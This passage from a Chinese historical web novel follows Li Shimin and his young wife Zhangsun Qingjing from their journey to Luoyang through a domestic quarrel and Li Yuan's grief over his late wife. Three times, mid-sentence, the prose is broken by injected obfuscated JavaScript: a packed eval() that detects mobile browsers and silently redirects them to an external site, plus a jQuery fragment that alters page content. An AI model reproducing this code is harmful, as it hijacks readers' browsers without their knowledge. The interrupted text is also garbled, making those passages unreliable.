婚礼上的小新娘明明端庄得体,照顾缠绵病榻的窦氏时她明明那么尽心,劝说丈夫振作精神时又分明那么春风化雨无往不利。 ——不料她竟如此离经叛道! 唯愿今次之事只是她一心求得新家庭认可的、用力过头的无心之错吧。 李渊不知道长孙青璟的这种洞察力是福是祸。他也准备遵守权且接受一个并无血缘关系的女儿,毕竟那是亡妻认可的孩子。 李渊、李世民、长孙青璟三人再三与众亲友相互揖别后,便踏上东都之旅。 征铎在驿道上发出单调而沉闷的声响,并没有随着主人的升迁而生出丝毫的愉悦。 距离大兴渐远,李世民的抑郁略有缓解。肿痛的眼眶开始发红,寒风不经意钻进车窗中,眼角皴裂的疼痛开始蔓延。他尝试着跟同乘的长孙青璟闲聊刚过去的葬礼。 “你新编的《拨头》里那条鼍龙是谁?”李世民好奇地问道。 “对不起。我看阿耶脸色不好……”长孙青璟将脸朝向车窗,“我差点闯下大祸。是我错了。” “我却出奇地喜爱这场《拨头》,母亲在天有灵应该也喜欢,谢谢你,替她完成了夙愿——尽管在歌舞里完成。”李世民心里只是遗憾母亲与妻子未能相处更长的时间,否则她们应该有聊不完的话题。 “我哪有这能耐!”长孙青璟沉浸在懊恼中,额角抵住窗口,“我想必是惹父亲不快了。还害得你替我担责。” “父亲虽然嘴上多有责怪,不准凶肆再去别处演这戏。那不过是出于谨小慎微的性格。他的心中,当是极爱这戏的,否则,也不会重赏了戏者们,还将面具烧给母亲。” 李世民对受到责备一事不以为意,毕竟路祭时出演《拨头》本来就是他的主意,长孙青璟不过将这个计划执行得太过完美。 “父亲那些自相矛盾的举止无一不透露出谨慎与克制。其实他心里早将你当成自己的女儿了。——虽说你有些调皮,但到底也是自家的孩子,他终究也会尽力维护。我看鸿胪丞忙着应付各位来吊唁的高官对于皇帝近况的问询,哪有工夫去管歌舞里的一个面具或者戏者性别的变化?” 长孙青璟听了这番宽慰,也不再过多自责,愧疚之情散去大半。她从窗口回过头:“到了东都,我决计不再自作主张,不再惹祸。” “所以,那条鼍龙到底影射谁?能告诉我吗?”李世民一脸玩味地追问道。 “我还在后怕——你不要命啦?”长孙青璟裹紧斗篷道,“我现在不敢说,以后告诉你。” 车马在驿道上疾驰了三四日,又是黄昏将近。 许是道路年久失修,被衰草枯叶吞没;许是车马疲颓,不胜其颠簸。 愈近洛阳,郊野却愈发荒败,村庄零落,罕见农人。 李家的车队急于寻找下一个歇宿的驿站,人马皆有一些焦躁。之前长孙青璟害怕李世民过多想起母亲,便主动与他说起自己幼时与父亲一同回洛阳祖宅的经历。 不料眼前人非但没有听进去,反而勾起在武功、岐州的童年往事,紧接着便又是一番喋喋不休的令人神伤的回忆。 长孙青璟并非不喜李世民提起母亲,只是不想他太过伤怀。再者他一哭,反而害得原本想安慰的初衷变了味道,长孙青璟在这悲戚的情绪渲染下,反而想念起故去多年的父亲长孙晟,流放交趾音讯全无的舅父高士廉,也跟着一起叹息落泪。 既然做不到阻止他伤心,便只能闭嘴不勾起他更多愁绪,也避免自己因共情而更加忧伤。 “你在想什么?”过长的沉默使得李世民不太自在。 “我在默念皇帝陛下的诗文,从《神伤赋》到《春江花月夜》,从《饮马长城窟行》到《望海诗》……”大概是距离洛阳愈近的缘故,有一道灵光在长孙青璟的脑海中乍现。 她确实也不知道自己为什么鬼使神差地将杨广那些矫揉造作的诗文与丝毫不会掩饰爱憎的丈夫联系在一起。 她身上属于长孙晟的那一部分血脉提醒她须得找到一个灵巧的法子将这二者锁死在一处,寻得一个求生之道。 “你若有意,也同我一道回想回想皇帝的妙手大作。” “我万万没想到你居然会喜欢陛下的诗文——这与你脾气秉性甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120984|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不符。”李世民的诧异令长孙青璟有些不可言说的难堪。也许趋炎附势在丈夫眼里等同于罪大恶极。 “万一读一读有用呢?”长孙青璟仍然想不出一套更好的说辞。 “如果只是用作阿谀谄媚,我看就不必了。”——这大概算是极其温柔的婉拒了。他知她为他着想,但是那是他所不需要的提醒。 算了,这个耿直的脾气怕是改不好了。若改好了也便失去了原本被她所珍视的赤子之心。长孙青璟默默想道:还是让李世民继续保佑这份少年的赤诚,不要轻易去玷辱了它吧。 短暂的不愉快须臾间被一阵突如其来的暴烈寒风席卷而去,取而代之的是对未知的恐惧茫然。 透过帘帷的缝隙,满目黄沙弥空,浓云铺陈。长孙青璟产生了一种马车被风驱赶着倒行的错觉。 马车的铎铃在随心所欲的寒风中颤栗,发出不成调的、急促的、惊惧的叮当声。菩提、刺槐、榆杨、桐柳的丫杈、树皮被利爪般的狂风砍伐、剥落,与砂砾尘土搅拌在一处,横飞入一侧车窗,又冲出另一侧。 长孙青璟口中、鼻眼中尽粗粝的刺痛感。她克制住惊声尖叫的冲动,靠紧车厢的一角。受惊的马匹发出萧萧嘶鸣,不自觉地向后退却,连训练有素的车夫也无可奈何。 李世民与长孙青璟携手跃下马车,随行部曲上前护住年轻的夫妇。 荒僻的田垄上,一头怪异的活物正凝视着这个车队。 没人说得清这怪物是何时出现在车队面前的,也许狂风就是它的信使,也许它本是狂风所化。这样一想,众人便更觉毛骨悚然。 怪物有一人多高,八尺来长,灰褐色的皮毛在那阵酷烈的寒风中几乎与荒败的田垄融为一体,也许这一点才使得众人根本没有意识到它的到来。它头面如马,长有似鹿角又比鹿角更粗壮高大的犄角。它的力量,应该可以撞翻马车,却很奇怪地拥有一双澄澈的眼睛。 众人在凝望它,它也在凝望众人。 怪物的身体里,似乎寄寓着一个睿智的灵魂,它在审视、挑选、辨别着眼前人……傲慢而又谨慎。 李世民本能地将长孙青璟护在身后,准备搭弓将其射杀。 “那是什么怪物?”他喃喃自语,也顾不得多想,只是号令部曲们引弓,“一、二……” “等等,不要放箭!”长孙青璟拽住李世民的臂膀道,“是夷羊,你不要射杀它,它们会结伴报复伤人!” 话音未落,目之所及之处,成群的怪物聚拢来,追逐着,嬉戏着,似乎判定车队与自己相安无事,这些被称作“夷羊”的活物便浩浩荡荡地向日落之处奔走而去,奔向衰朽如骷髅的丛林,最后融入一片混沌的紫色之中。 “我们进河南郡了吗?”虚惊之后,李世民向不停擦拭冷汗的车夫问道。 “快了。”车夫心有余悸地回答,“这些畜生不是老和尚变文里头吓唬小孩子的东西吗?它们就不该出现在此地。” “不但变文里有它,《国语》里也有,《史记》里有,《淮南子》里有,连萧方智的禅位诏书里也有它……”除了李世民,在场每一个人都没能听懂长孙青璟的话。 古书上的谶纬就这样活生生地摆在面前。 豫州郊野地精灵,意外造访的土神,混乱末世的朕兆,是愤怒的颛顼在人间寻找坚守大道的贤者时所寄寓的神兽。 一半是毁灭,一半是新生。 “夷羊在牧。”长孙青璟握紧了李世民的手。 他们的手心汗涔涔的。 52. 初到 一家人到达洛阳之时,也顾不得欣赏正月街景,便径直回到洛阳府邸。 独孤怀恩和萧瑀已经等候多时。 “叔德。安和好在。”郎舅二人与李渊互致叉手礼。 李世民与长孙青璟也向两位尊长行过子侄之礼。 “我二人本应随鸿胪卿一同参加唐国夫人的丧礼,只因有元正大朝会要务于身,陛下不允,只得作罢。叔德,节哀顺变。”萧瑀解释道。 独孤怀恩近前宽慰道:“家中尚好?” 李渊太息道:“有毗沙门与阿璀照料一切,我高枕无忧。怀恩,阿璀和承宗身体无恙。丧期结束后,承宗就延师开蒙。你这位外祖父无须多虑……” “这位娘子是——”独孤怀恩见长孙青璟十分面生,不禁发问。 “是进门不久的次媳,已故右骁卫将军长孙季晟幼女。”李渊经历了妻子丧事,对谈论儿子的婚事意兴阑珊。 “两家也算有缘。”独孤怀恩感叹道,“长孙娘子,元正节时,圣上设宴款待四夷使节,还记挂令尊当年的好手段。” 虽说只是一句客套话,也算再次承认这是一段门当户对的婚姻。长孙青璟谢过独孤怀恩,也不敢多言,只是缄口倾听。 三位长辈不再关注婚事与丧事,眼中只剩与自己家族息息相关的国是。 “洛阳朝廷可有变动?”李渊延请两位从小一处长大的亲戚兼挚友入室,还未坐定便急不可耐地询问。 长孙青璟与李世民屏退了仆人,亲自侍奉饮子点心,随后退步守在屏风外。 只听得萧瑀摇头叹息道:“一言难尽。见到圣上,千万谨言慎行。安伽陀这犬豕不如的东西劝圣上尽诛海内凡李姓者。陛下不置可否,难保不是动了心思……” 萧瑀虽说是皇帝杨广的妻弟,然而性格耿直,难免冲撞不喜人谏的皇帝。 故而两人近年越发疏远。提到安伽陀这种奸佞小人之时,他不免咬牙切齿。 “此话怎讲?” “李穆死后,家宅不宁,叔侄、夫妻、群从相互倾轧。圣上本就猜忌,有心构陷之人煽风点火。如今郕公一族巢倾卵破,指日可待……”独孤怀恩叹息道。 “你我也不要过多揣测圣意。叔德还是尽早面圣赴,日后如何躲避东都的明枪暗箭,还需从长计议。” “说来你前日奉上的鹞鹰与良马,也算帮了大忙。近来,陛下提到你的时候,语气和悦,看不出猜忌的心思……” 凝滞的空气顿时明朗流动起来。 “我还记得年少时初到长安时的往事。”萧瑀沉浸在往昔中,“彼时阿姊刚被册为晋王妃,怀恩被文献皇后养在宫中,道生、叔德在先帝身边执掌御刀。我和怀恩年纪小,总是羡慕他们两个千牛备身。道生吹嘘他有个聪慧美貌的从妹,后来我们一伙人就没羞没臊地簇拥着叔德去求亲。皇帝陛下那时也不过是个十三四岁的少年,与我们一同斗鸡走马,毫无芥蒂……谁承想如今每日就是将彼此的心思揣摩来揣摩去。” 三人回忆了一通年少时光,不禁叹惋时过境迁。 “往好处想,道生毕竟是陛下姑表兄弟,再惹得陛下不快,也不过被罚闭门思过,性命确是无虞。陛下还是念着旧情的。”独孤怀恩瞥了一眼屏风外的两个年轻身影,故作猎奇地说道:“叔德,我听时文说,你拒绝了皇后的一片美意,胆子可不小。” 李渊一时想不起李家与萧皇后有何纠葛,满面疑惑。 “怀恩还是像年少时一样爱开玩笑。叔德,不要听他胡言乱语。”萧瑀无奈道,“皇后不是那样睚眦必报的人。她不过对心存怜悯几个一出生就被养在别馆,至今未与父亲相认的庶女。” 李渊这才想起自己以惧内为名推托与皇帝某个没名没分的女儿联姻一事,便打起了哈哈:“玩笑,玩笑,你们不要轻信。” “皇后收到国夫人的讣奏之时,还郑重向陈国夫人承诺,元正之后,皇帝将择日亲临洛阳唐国府慰问。”萧瑀的目光掠过屏风后年轻的夫妇,言有所指:“其实现在这样,也甚好……” 在屏风外侍立的长孙青璟觉得萧瑀的目光似乎在自己身上停留了片刻,不知是在研究代北的谱牒还是拿她与其他贵女相比,又加上这三人语焉不详,她便生出好奇之心,轻声问李世民:“皇后有何事请托父亲?和阿茶家子们有什么关系?” “不知道。”李世民突然朝向父亲的方向正襟危坐,目不斜视,“长辈们说要紧事,你不要插嘴。” “我才没插话,不是正问你吗?”长孙青璟敛衽端坐,窃视丈夫,暗忖着:“莫非他有事相瞒?”但是听萧瑀、独孤怀恩所言,李家正处嫌隙之中,想来确实有些三言两语无法言说的苦衷。她便不再苦苦追问,以免多生事端。 大概是这些与皇家沾亲带故的勋贵们都格外谨慎的缘故,这番叙旧有些潦草与仓促。 三人尚未说到入港,即便揖别。为躲避皇帝耳目,萧瑀、独孤怀恩只带数个亲随匆匆离去,车舆服饰的形制与皇亲国戚的身份不符。 李渊暂时换下齐衰,前往吏部赴任。 家令见过二郎与新主母长孙青璟。交上账册供检视。长孙青璟问及城郊荒败之事。 “先生,我是洛阳人,年幼时也常往来于两京之间。过去一路暧暧村烟、鸡鸣狗吠,而今田畴农庄一片荒芜,首善之地不应该是这个样子的。甚至成群的麋鹿也流窜在富庶的中原腹地,这是何故?” “娘子问的也正是我准备告禀的要事。”家令说道,“朝廷经年累月的兵役、徭役导致流民激增,河南郡的许多豪强开始接收流民,结坞堡,娘子所说的荒败之地的农户,如果足够幸运的话,恐怕此时已经成了坞堡中的隐户;如果不幸的话,恐怕早就成了……” “成了辽东和运河边的枯骨,对吧?”李世民新近丧母,路遇夷羊,今日又听到安伽陀劝皇帝尽诛天下李姓之人的奇闻,心情更加恶劣,便意欲尽早结束盘查,“你要告禀的事情,和朝廷的徭役有什么干系?” “二郎,唐国公在洛阳近郊也有田产,近来也有流民意欲投奔,如之奈何?”家令问道。 “留下身强力壮、堪当死士者,人选由你定夺——记住,此事偷偷办妥,动静不要太大,切不可向外传扬。我过几日去趟田庄……”李世民的脸色更加苍白,这种选择性的收留方式让他觉得不舒服又不得不为之。 “好的,这就吩咐下去。” “等等!”家令正准备离去,又被脸色阴晴不定年轻郎君叫住,“支用我的钱,不要让父亲发现。等适当的时机,由我亲自告知父亲此事。” 夫妇二人又嘱托同来洛阳的刘娘子准备各自守制的居所。刘娘子边依照在大兴的前例, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125208|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将长孙青璟安顿在李世民的旧居室,又将当年窦夫人招待密友、读书小憩的阁子安排给李世民。 经过三娘前日一番盘诘,夫妇二人也不再觉得分居守孝一事有何不自在。 李世民叫上园丁,只说修剪李树。其余琐事就交给长孙青璟。 刘娘子带着青璟来到窦夫人常用的暖阁。阁中陈设倒也说不上具有特别女性化偏向的色彩,与一般男主人的待客书室并无二致。 与大兴的起居之处相比,此处反而多了几分南朝竹林之风。帷幔纹样并不十分繁复,以青绿为主色调。 阁子虽说日常保持齐整,但陈设布局未变,几乎还是窦夫人上次以外命妇身份参加元正朝会,顺便在洛阳小住几日的风格。 书柜显眼处是钟王的拓本与摹本,五经及各家注疏笺,诗文里头,庾信占了一半。 薛道衡与卢思道的诗集尚在最中间,令青璟觉得不妥。她便命人找来书箧准备将这些诗文集置于隐蔽处。 案上有一卷未抄完的《涅槃经》,青璟灵机一动,找来年长婢女问起唐国府可在洛阳出资修过佛寺,通常供养何物。 她细细端详窦夫人誊抄的佛经,觉得可惜,便以手指在空中运了数下笔锋,觉得自己可以勉强模拟着窦夫人的笔迹抄完整部经书。 环顾四周,只剩书写着《列女传》的屏风与新主人有些不相宜。这扇屏风甚至比大兴那扇孔雀屏风还陈旧些。 刘向所著之书中,长孙青璟最喜《战国策》,铺陈伟丽,叱咤雄豪,看得人心旌荡漾;《列女传》于她太过鸡肋与矫揉造作。 但她心中这些小小臧否,也只敢偷偷说给高士廉听,引得养父解颐而笑。可惜如今,也无人倾听她这些不着调的幼稚见解。 她抚摸了屏风上所绘衣着古旧的侍女,找来一个伶俐的婢女问道:“府中可有储物的阁子?” 婢女道:“连廊后有废弃的屋子,有暂时不用又不舍得丢弃的物什,就堆放在那里。” 长孙青璟一边将那些触怒过皇帝的名士文集收进书箧,一边吩咐婢女们收走旧屏风。 “且慢!”青璟见婢女挪动起颤巍巍的旧屏风,心生不忍,“找一些干净的旧帷帐,越大越好。若有小一些的汗巾帕子也一并拿来。” 婢女们便有条不紊地依照小主母的吩咐急趋而出,找寻旧丝物。 “家中可有专管采买日常物什的奴婢?”长孙青璟又问道。 正在往金累丝香囊中填放安息香的少女向长孙青璟致意道:“娘子需要何种纹样的新屏风?” “我多年未到洛阳,丰都市与大同市仍是日中开市吗?”长孙青璟问道。 “是,娘子记的分毫不差。”少女解释道,“大同市的器用稍寻常一些,丰都市有百行三千市肆,珍玩应有尽有。” “看来还真是没怎么变,只是丰都市听起来似乎比记忆中更大了些。你去为我找一幅诗意画,找不到的话就延请一位画师。画工要精细,尽量做旧,也不要弄成太旧的古董模样,就像十年前买的旧屏风就行……”她的奇思妙想,就像温泉中奔涌的气泡,半点抑制不住。 一旁麻利能干的婢女朱唇微微开启,愣怔无言。 她只是在心中感叹,长孙娘子这副雷厉风行又神秘莫测的架势,像极了家中那位临机果断见识深远的年轻郎君。 53. 龃龉 见到自己的婢女阿彩拼命使眼色,长孙青璟才意识到眼前这个顶聪慧的李家婢女开始跟不上自己的节奏了。 她不禁开始想念大兴利人市的穆伯脩铺主。若自己这番奇想经他手去办,定然稳妥。只可惜此处是洛阳,只能令觅他法。 “啊,是我说得太快了。你叫什么名字?”长孙青璟放慢语速,和气地问道。 “我叫蝈娘。唐国夫人赐的名。”少女自觉小主母在一众奴婢中对自己青眼有加,不自觉借着前主母赐名再强调一下自己有别常人的地位。 长孙青璟心中暗笑这名起得贴切。 “好吧,蝈娘。你这回可听好了。”长孙青璟吩咐道,“你替我研墨,我把画上的山水绘髓纲要写给你,你日中前出发去丰都市,照着手条上所述去找屏风或画师,可能办到?” 蝈娘点头道:“这不难。我定办妥。”说罢,她便为长孙青璟铺陈纸笔,一刻也不停歇。 刘娘子见到长孙青璟对后院诸事处置得当,便先行告退,去往新主母未来居所布置。 婢女们找来了大幅的旧帘帷,准备照着长孙青璟的吩咐裹藏旧屏风。 廊下传来急促粗重的脚步声。 “你们在做什么?”李世民望着陈设大变的暖阁,有些吃惊。 “听说你亲自修剪李树去了?”青璟从怀中掏出丝帕,小心翼翼地裹住旧屏风的有些残缺的一角,“刘娘子说那是阿耶阿娘一起种下的。你怎么不早点告诉我?我也去看看。树长得可好?” “天大寒,树光秃秃的,有什么好看的。”这样的口气宛若换了一个人,长孙青璟依稀记得哪怕是窦夫人丧礼期间,李世民最绝望无助的时刻,也不曾用这种语调跟自己说话,不由觉得讶异。 “那开春了我陪你赏花。”长孙青璟料想丈夫又开始睹物思人,便努力寻找些愉悦的话题。 “天暖了再说吧。”李世民踱进母亲旧日的书阁,环顾四周,仿佛刻意提醒长孙青璟似的说道,“这是母亲往昔所居。” “我知道。阿嬭告诉我了。不过,现在是你暂居之处。” “守制之时我不需要变动,一切照旧就可以。”正在将旧帘帷舒展、平铺于地,准备依新主母所说将其包裹收藏的的几位婢女神色一凛,进退维谷,不知该听谁的。 “也没有过多改动,我只是想……”长孙青璟刚想说“只是想让你起居更舒适一些”,李世民却指着案上书箧道,“为什么擅自藏起母亲生前最爱的诗文集?” 长孙青璟向后退了一步,不确定这是普通的质问还是胡乱发泄情绪,这让她感觉非常不舒服。 “是我的主意。”她直言不讳,并且示意左右为难的婢女们暂且回避。 “屏风也是母亲故物,是她的舅父送她的礼物。依照周太祖故事,每位公主都可以得到君父赏赐的写有《列女传》节录的行障。母亲不是公主,但同样拥有与武帝己出女同样的厚遇。这是她引以为傲的……遗物。你打算如何处置它?” “我没有别的用心,也说不上擅自处置,只想代你宝藏屏风。”长孙青璟不爱拿虚无的借口掩饰真实的理由。 “你准备将我母亲的遗物扔去暗无天日的府库,任它衰朽腐烂?——你太自以为是了!” 这样横加指责令长孙青璟如坠五里雾中。 她想得简单:如若不舍,直接留下即可,何苦恼怒? “母亲去世,大嫂远在大兴的日子里,难道不是由我暂行摄事?”年轻的女主人一板一眼地为自己正名,“我不过是行使当家娘子最寻常不过的权利而已。若是公子觉得我行事乖张不合意,也应该禀告大人之后,由大人裁夺!” 李世民一时语塞,又不知面对妻子有礼有节的反驳如何收场,便无理取闹地转移话题:“且不说屏风,你又为何要将薛道衡的诗文藏起来?我母亲的喜好那么见不得人吗?” “不是。”长孙青璟摇头,将书箧推向李世民,“方才萧国舅的话你也听到了。李家处于嫌隙之地,陛下对我们的忠心将信将疑。一念起则万物生,一念灭则万缘寂。切不可让陛下抓到把柄。” 李世民的脑海里想起了喑哑的轰鸣,连同与母亲的诀别,父亲的赴任,萧瑀的警告一同绞痛他硕果仅存的理智。 眼前毕竟是一个愿意与他同赴鸿门的女孩,他为什么要那么在意她那些游离于预想之外的言行? 但是长孙青璟先于他开口:“公子,我也像母亲一样,极爱薛道衡。但是我不会将这份喜爱赤裸裸地昭告天下,拿一个家族的命运做皇帝的博塞局中的赌注。至于屏风,是我行事欠妥,公子要恨我便恨吧,我不再为自作主张的行为辩白。我也经历过丧亲之痛,也会睹物思人悲不自胜。舅父说,当我想起父亲时,不是全然的伤悲,而是学会用如他一般的机心谋虑去解纷疏滞时,我才真正成为他血脉的一部分,他也永远立在我的心间。我本想一开始就把这番话告诉你的,又觉得母亲新丧,这么劝说太过强人所难,便隐忍不发。” 她如释重负地长舒一口气,觉得一吐块垒甚是松爽。 只见几个觉得小郎君与小娘子之间气氛甚是不妙的婢女簇拥着刘娘子前来说和。 刘娘子第一次见到夫妇二人如此剑拔弩张,也不知从何劝起,只是不时向帘内张望,却不敢径入阁中。长孙青璟只是向她摇头示意无甚大事,待在原地等她即可。 她从怀中取出窦夫人未誊抄完的《涅槃经》,双手递与李世民:“这是母亲没有抄完的佛经,我本来准备勉力誊写。现在看来,公子应该不想在这卷经折中见到我的笔墨,所以还是不要玷辱她为妙。我错判自己的能耐与位次,有些惭愧。原物奉还,望你不要介怀。” 说罢,长孙青璟便叫上刘娘子领路,趋步退出那个被李世民宣告她无权处置的阁子。她强忍住羞愤之心,面对一众噤若寒蝉的婢女,有礼有节地离去。 刘娘子不明所以,只是从婢女们口中探得大概。她一路也只能不停念着小郎君孝顺念旧的好处,苦劝青璟莫要动气。 难得青璟正在气头上还敷衍着刘娘子,直到来到新住所,她才支开刘娘子等李家诸仆,只留阿彩侍候。 “关门!谁都不见!”她颐指气使地指着门说道。 阿彩期待着廊间突然出现顿悟的小郎君,磕磕绊绊而来,给长孙青璟赔礼且安抚她。 “磨蹭什么?”青璟窥出阿彩的心思,“别人家郎君欺侮你家娘子,你还顾着他来不来,来了吃不吃闭门羹!” 阿彩不敢拂了长孙青璟之意,便虚掩起门扉。 长孙青璟“哼”了一声,心中憋屈。自己一腔热忱岂但石沉大海,溅起的千重巨浪还差点将她卷入海中。她双眼红肿,啮唇噙泪,心中委屈万端。 “蠢笨如刘阮辞山,活该他仙乡路渺。”长孙青璟恨恨道。她从案上抓起一把弹弓,朝着墙上的凤栖梧桐画发射弹丸。 弹丸擦过鹦鹉的站棍,不偏不倚,正中凤凰头顶的德羽。 正在站棍上磨嘴的鹦鹉被这突如其来的偷袭吓得扑棱掉几片羽毛,口中念念有词:“活该,活该,活该… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133848|178809||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 长孙青璟睫下的凝珠竟随着开怀的轻笑滚落下面颊。“骂得好!替我多嘲笑一下那个俗眼昧真、不识好歹的措大!” 她逗弄了片刻鹦鹉,又觉无趣,便合衣仰面躺在榻上,心中愤懑仍存,不过已经不太伤怀了。 她心中回想着萧瑀所述郕公家事被人利用,叔侄、夫妻为人所离间,又兼谶纬横行,眼见大厦顷颓的情形,一时毛骨悚然,有如被针扎刺般弹跳而起。 “总之,前任右骁卫将军的女儿才不会陪着现任右骁卫将军的儿子做傻事。”长孙青璟喃喃自语,“且不管他乐意不乐意,我须得先一步想好自救事宜。或者我先同大人说说自己的想法呢。不过听母亲说,大人之前也是小孩子脾气,得了良马飞鹰,就是不愿意献给陛下。唉,二郎与他父亲真是一般无二。我也不知劝哪一个更有用。” 她细想路祭之时,《拨头》戏闯了个不大不小的祸,弄得李渊很是窘迫,只是碍于她的新妇身份与李世民的竭力维护,才未加训斥。自己暂且不要锋芒太露为妙。 “‘李氏当为天子’的谶纬,先帝那个水淹长安的噩梦都被添油加醋传扬了很多年,他的国公之位岿然不动。大人在官场经营多年,自有我所不知的眼线与求生之道。我贸然进言,岂不是惹大人耻笑。” 她抱着手炉,指节叩案,突然舒展蹙额,有种云破月来的舒展。 “阿彩,吩咐下去,我明晨去伊阙礼佛,备好快马。” “阿彩,你待会偷偷把蝈娘找来,不要惊动二郎。” “阿彩,清点我嫁妆箱箧中的金饼。” “阿彩,叫几个健妇,将二郎的兵器和乐器全都送过去,一件都不要留!看着心烦!” 阿彩仗着自己侍奉多年的身份,近前劝道:“娘子才到洛阳,还是先将息几日,不要劳动,以免寒邪侵体。” “我就去自家供养的佛龛转转,半天就回。”长孙青璟辩解道,“洛阳算是故里,人与事我很熟络,不会劳累。” 阿彩知道自己敌不过娘子这一通狡辩,便不再执着于此事,而是换了另一个棘手话题:“娘子,你真的准备与郎君这般不理不睬下去。” “嗯。”长孙青璟没好气地应了声,又调皮地拿起弹弓对着画上那只自命不凡的凤凰。 阿彩挡在长孙青璟身前。 “让开,不准惹我发火。” “娘子,听我一言。”阿彩冒昧地从长孙青璟手中夺走弹弓,稽首道,“二郎一贯厚爱娘子,并非无情无义之人。今日之事,虽说他心直口快,略显无礼。归根结底也只是你二人之事,切不可闹到举家皆知啊。娘子本支对娘子失于庇护,高氏又不振。娘子也只能折节处之……” “你说的道理我都懂。”长孙青璟点点头,心中不禁有些孤立无援的伤感。 阿彩趁机进言:“娘子若不嫌弃,我自去与刘娘子说个明白。她是公子的乳母,本就爱护娘子,对我也颇多照拂。令她居中调和,娘子与郎君和好如初,可好?” “嗯,那我暂且不将二郎的器用悉数扔出去。你先替我把那前三桩事情办稳妥,我看看那个榆木脑袋会不会自己裂开。如果明晚之前还裂不开,我们再去请教刘娘子。”年轻的女主人不得不与眼下处境暂时和解。 不过,还是先等等。 她转头望向窗外,残阳像一滩浓稠的鲜血,沉闷地覆盖在城西的空中,让她透不过气来。 洛阳,是血髓珊瑚熔炼的幻境,幻境中的每一个人都踩着燃烧的宝石前行,直到烈焰吞噬尸骨。 54. 胡桃 洛阳的悲欢与唐国府并没有太多的关联。 门外是天枢坠地,金阙映日,玉阶生辉,锦帆高张,歌舞升平,门内却是镜奁染尘,人去楼空。 李世民觉得父亲从吏部回来之后就像遭遇一场夺舍,此时更像个最粗鄙的农夫,箕踞在中庭回廊的台阶上,手持一壶酒,望着两棵李树发呆。 “来,陪阿耶喝一杯。”李渊面无表情地招呼儿子。 李世民走近父亲,靠着父亲以同样无礼可循的方式坐下。 他想提醒父亲自己正在守制,不宜饮酒。李渊却像窥出他心思般将酒杯递进他怀中:“你——替代你母亲,陪我喝一杯。我和你母亲年轻时就喜欢河东桑落酒的酸味。你母亲最喜欢薛道衡那句‘忽逢桑落涧,犹带晋时酸’,说这诗最宜佐酒。” 怎么又是薛道衡?这具不死不灭的枯骨给自己惹了多大麻烦! 年轻人脑髓如沸,鬼使神差地说了句:“阿耶,圣上不喜欢这个人!”——他嘴上不服气,定要为母亲的喜好争一个高下,内心却渐染了长孙青璟的想法。 李渊挑眉作诙容,极不正经地冷笑道:“快喝酒,今晚不提圣上也罢!” “酸……又酸又苦……”李世民被这种陌生的民间佳酿呛出了眼泪,咳嗽连连。 李渊拍打着儿子的后背,问道:“知道我这个右骁卫将军的前任是谁吗?” 李世民疑云塞胸,觉得父亲一定喝醉了。 “难道不是观音婢的父亲?”这个女孩和薛道衡一样让他心烦,他今晚不愿去想她。 可是父亲偏偏要提起这两个惹他不快的人! “颟顸!观音婢的父亲都去世多少年了?分明是郕国公李浑,他的侄子就是乐平公主的女婿李敏,小字叫作洪儿。姓名皆应图箓。如今就这么莫名其妙陷进谋反案里,是必死无疑了,而且三从之内都死得极不体面。”李渊冷笑一声,“我这个继任者也姓李,名中也带水,如何自证清白?” 他勉力站起身,腿脚有些僵硬麻木,摇晃着指着中庭那两柱与妻子一同种下的李树:“你告诉我,中庭的两棵李树,哪一棵是忠诚的,哪一棵是奸佞的?还有我们手中的酒水,哪一杯是忠诚的,哪一杯是奸邪的?” 李世民钳口结舌,自然无法回答。望着形销神黯的父亲,他也只能默默思念与父亲刚柔相济的母亲。 母亲总是无所不能的。父亲鲁莽时,母亲便是水;父亲怯懦时,母亲便是火。 水火相济,功业乃成;阴阳相资,万物化生。 母亲,从来不是一个单纯的符号,她是整个世界。 “你母亲还在就好了。”李渊又给自己斟上一杯桑落酒,一饮而尽,喟然长叹,“她不但有办法助我获取官职,更有办法帮我洗脱嫌疑。我后悔没早点听她劝告,将良马鹰犬悉数献给圣上,省去无数弯路;更为不再有贤妻伴我左右痛心疾首。” 苦酒下肚,无措的唐国公已经泪流满面:“譬如此刻她在这里的话,定会想出些分辨李树、酒水忠奸的妙言安慰我。如若她此刻还在世,想出任何阿谀讨好圣上、挽救家门的主意,我一定都照做,不会再拂她之意……” 父子两人又是一阵长久的沉默,不知该如何相互扶持着踏上一条崭新的路。 李世民似乎看到长孙青璟与蝈娘一闪而过的身影。一主一仆正忙于别的家事——一个千叮万嘱,一个唯唯应承,两人并未对中庭对饮的父子俩过多留意。 